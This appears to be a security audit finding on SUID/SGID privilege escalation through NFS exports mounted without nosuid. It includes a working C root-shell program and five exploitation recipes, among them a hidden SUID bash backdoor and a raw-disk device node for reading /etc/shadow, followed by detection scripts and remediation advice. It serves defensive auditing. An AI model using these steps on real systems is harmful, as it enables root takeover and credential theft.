F-4.2: SUID/SGID Privilege Escalation via NFS Mounts¶
Classification¶
- Severity: High
- CVSS Vector: Local + Network / Low Complexity
- Affected Versions: All NFS versions
- Configuration: Client mounts without
nosuidoption - Prerequisite: Write access to NFS export + code execution on a client that mounts it
Summary¶
When an NFS export is mounted without the nosuid option on a client, any SUID/SGID binaries placed on the share are executed with elevated privileges. An attacker who can write to the NFS export (from any machine — including their own) can place a SUID root binary that grants root access when executed on a vulnerable client. This is a client-side privilege escalation that exploits the trust relationship between NFS clients and the shared filesystem.
Technical detail¶
The trust model failure¶
NFS clients that mount exports without nosuid implicitly trust that all binaries on the share are safe to execute with elevated privileges. This trust is misplaced when:
- The export allows write access from other hosts
no_root_squashallows setting UID 0 ownership- The attacker has any write access (even as a non-root user with
no_all_squash)
Attack scenarios¶
Scenario A: Attacker has root on their own machine + no_root_squash¶
Attacker (root) ──write SUID binary──> NFS Export <──mount w/o nosuid── Victim Client
(no_root_squash) (any user executes)
Scenario B: Attacker has non-root write + no_all_squash¶
Even without root, if no_all_squash is set (which is the default!), an attacker with UID matching a non-root user can create SGID binaries or exploit SUID binaries owned by that user.
Scenario C: Export on server is also mounted locally¶
If the server itself mounts its own export (common with /srv directories), SUID binaries on the export can escalate privileges on the server too.
SUID bit mechanics¶
-rwsr-xr-x 1 root root 16064 Jan 6 22:09 exploit
^^^
SUID bit: when executed, process runs as file owner (root), not as the calling user
The kernel checks:
1. Is the file on a filesystem mounted with suid allowed? (default: yes)
2. Does the file have the SUID bit set?
3. If yes: setuid(file_owner) before executing
Creating the SUID binary¶
Minimal root shell:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
The -p flag prevents bash from dropping privileges.
Exploitation¶
Method 1: Classic SUID Shell (requires no_root_squash)¶
# On attacker machine (as root):
gcc -o rootshell exploit.c
mount -t nfs target:/export /mnt
cp rootshell /mnt/
chown root:root /mnt/rootshell
chmod 4755 /mnt/rootshell
# On victim client (as any user):
/export/rootshell
# uid=0(root) gid=0(root)
Method 2: Copy /bin/bash Directly¶
# On attacker (as root, with no_root_squash export):
cp /bin/bash /mnt/nfs/.bash_backdoor
chown root:root /mnt/nfs/.bash_backdoor
chmod 4755 /mnt/nfs/.bash_backdoor
# On victim:
/path/to/mount/.bash_backdoor -p
Method 3: SGID Exploitation (no root needed)¶
If you can write as any user (default no_all_squash):
# Write a SGID binary as a non-root user
# This gives group-level escalation
gcc -o groupshell exploit.c
cp groupshell /mnt/nfs/
chgrp targetgroup /mnt/nfs/groupshell
chmod 2755 /mnt/nfs/groupshell
Method 4: Device node attack (requires no_root_squash + nodev not set)¶
# Create a device node for raw disk access
mknod /mnt/nfs/.hidden_disk b 8 0 # /dev/sda
chmod 666 /mnt/nfs/.hidden_disk
# On victim:
dd if=/export/.hidden_disk bs=512 count=1 # Read raw disk
# Can extract /etc/shadow from raw filesystem
Method 5: Using libnfs without mounting¶
# No mount needed — libnfs with UID override
LD_NFS_UID=0 LD_NFS_GID=0 LD_PRELOAD=./ld_nfs.so \
cp ./rootshell nfs://target/export/rootshell
LD_NFS_UID=0 LD_PRELOAD=./ld_nfs.so \
chmod u+s nfs://target/export/rootshell
Impact¶
- Full root compromise of any client mounting the export without
nosuid - Persistence: SUID binaries survive reboots and are hard to detect among legitimate files
- Multi-host compromise: All clients mounting the same export are vulnerable
- Server compromise: If the server also uses the export directory locally
Detection¶
Find SUID binaries on NFS mounts¶
# Check all NFS mounts for SUID binaries
mount | grep nfs | awk '{print $3}' | while read mp; do
find "$mp" -perm -4000 -type f 2>/dev/null
done
# Check for SGID binaries
mount | grep nfs | awk '{print $3}' | while read mp; do
find "$mp" -perm -2000 -type f 2>/dev/null
done
# Check for device nodes
mount | grep nfs | awk '{print $3}' | while read mp; do
find "$mp" -type b -o -type c 2>/dev/null
done
Verify mount options¶
# Check if nosuid is set
mount | grep nfs
# Should show: nosuid,nodev,noexec for security
# In /etc/fstab:
grep nfs /etc/fstab | grep -v nosuid
# Any matches = vulnerable
Remediation¶
-
Always mount NFS with
nosuid,nodev,noexec: -
Server-side: mount exported filesystems with
nosuid,nodev: -
Never use
no_root_squash(see F-4.1) -
Use
all_squashwhere possible — prevents ownership manipulation -
File integrity monitoring: Alert on new SUID/SGID files appearing on NFS mounts
-
Regular scans: Cron job to find SUID files on NFS: